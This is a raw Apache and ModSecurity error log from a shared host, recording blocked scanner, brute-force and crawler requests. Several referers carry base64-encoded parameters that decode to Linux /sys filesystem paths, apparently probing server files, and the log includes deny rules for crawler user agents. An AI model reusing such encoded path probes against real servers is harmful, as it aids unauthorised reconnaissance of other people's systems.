[id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai30EbV-dFiaX9AtWiQU6AABUFw"], referer: https://magisters-terrace.com/wp-login.php [Sat Jun 13 18:21:38.138599 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.34:34148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:38.138927 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.34:34148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:38.368849 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:21:38.369129 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:21:38.390412 2026] [security2:error] [pid 715691:tid 715804] [remote 17.22.253.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ErV-dFiaX9AtWiQU7AABZ10"] [Sat Jun 13 18:21:38.576891 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.86:42354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:38.577175 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.86:42354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:38.579742 2026] [security2:error] [pid 715691:tid 715811] [remote 17.22.237.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ErV-dFiaX9AtWiQU8QABbGQ"] [Sat Jun 13 18:21:38.695091 2026] [security2:error] [pid 715691:tid 715814] [remote 17.246.23.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ErV-dFiaX9AtWiQU9AABfmc"] [Sat Jun 13 18:21:38.877144 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.111:52236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:38.877580 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.111:52236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:38.916543 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0Ny9wb3dlcg== [Sat Jun 13 18:21:38.917019 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0Ny9wb3dlcg== [Sat Jun 13 18:21:39.137297 2026] [security2:error] [pid 648189:tid 648395] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_create-relative.phpt"] [unique_id "ai30E1WSojQL4F7upKCNbwAAAK8"] [Sat Jun 13 18:21:39.139268 2026] [security2:error] [pid 648189:tid 648368] [client 192.178.6.39:40761] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai30E1WSojQL4F7upKCNcAAAAJQ"] [Sat Jun 13 18:21:39.377766 2026] [access_compat:error] [pid 715691:tid 715823] [remote 57.141.14.31:61184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:39.378182 2026] [access_compat:error] [pid 715691:tid 715823] [remote 57.141.14.31:61184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:39.429733 2026] [security2:error] [pid 648189:tid 648223] [remote 17.22.245.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30E1WSojQL4F7upKCNcwAAkwM"] [Sat Jun 13 18:21:39.454030 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:39.454486 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:39.516780 2026] [security2:error] [pid 648189:tid 648270] [remote 17.241.227.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30E1WSojQL4F7upKCNdAAAyTA"] [Sat Jun 13 18:21:39.800777 2026] [access_compat:error] [pid 648189:tid 648225] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:39.801250 2026] [access_compat:error] [pid 648189:tid 648225] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:39.848313 2026] [access_compat:error] [pid 715691:tid 715827] [remote 57.141.14.20:61918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:39.848687 2026] [access_compat:error] [pid 715691:tid 715827] [remote 57.141.14.20:61918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:39.914187 2026] [security2:error] [pid 648189:tid 648336] [remote 17.241.219.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30E1WSojQL4F7upKCNeQAA_3E"] [Sat Jun 13 18:21:39.965150 2026] [security2:error] [pid 646876:tid 646989] [remote 17.246.19.97:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30E9yTkdrNlD40tSHIOQAAKm4"] [Sat Jun 13 18:21:40.007970 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:21:40.008459 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:21:40.012880 2026] [autoindex:error] [pid 715691:tid 715906] [client 185.247.137.216:60921] AH01276: Cannot serve directory /home4/xiuvpvmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://mail.xiu.vpv.mybluehost.me [Sat Jun 13 18:21:40.250951 2026] [access_compat:error] [pid 715691:tid 715828] [remote 57.141.14.112:58770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:40.251335 2026] [access_compat:error] [pid 715691:tid 715828] [remote 57.141.14.112:58770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:40.338878 2026] [security2:error] [pid 715691:tid 715833] [remote 57.141.14.102:25893] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30FLV-dFiaX9AtWiQVEwABLno"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=538&_wpnonce=8d149de2a5&add-to-cart=383 [Sat Jun 13 18:21:40.358133 2026] [mime:warn] [pid 648189:tid 648299] AH01602: Cannot get media parameter. [Sat Jun 13 18:21:40.393488 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.31:61194] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:40.393891 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.31:61194] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:40.439700 2026] [security2:error] [pid 648189:tid 648321] [remote 17.22.253.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30FFWSojQL4F7upKCNhAAAoWI"] [Sat Jun 13 18:21:40.466617 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.59:45693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:40.467080 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.59:45693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:40.482144 2026] [security2:error] [pid 648189:tid 648268] [remote 57.141.14.99:44026] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30FFWSojQL4F7upKCNhQAAii4"], referer: https://nelsonfarmstn.com/product-category/goat-milk-soap/?add_to_wishlist=1257&_wpnonce=dacad5c21f&add-to-cart=1259 [Sat Jun 13 18:21:40.505527 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:21:40.505993 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:21:40.626177 2026] [access_compat:error] [pid 715691:tid 715713] [remote 57.141.14.84:27474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:40.626607 2026] [access_compat:error] [pid 715691:tid 715713] [remote 57.141.14.84:27474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:40.650817 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.54:63995] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:40.651213 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.54:63995] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:41.031773 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:21:41.032030 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:21:41.066573 2026] [security2:error] [pid 715691:tid 715719] [remote 111.225.149.226:20650] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "taracom.net"] [uri "/careers/"] [unique_id "ai30FbV-dFiaX9AtWiQVIgABCwk"] [Sat Jun 13 18:21:41.522496 2026] [security2:error] [pid 648189:tid 648238] [remote 17.241.219.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30FVWSojQL4F7upKCNigAA5xE"] [Sat Jun 13 18:21:41.566738 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2lk [Sat Jun 13 18:21:41.566999 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 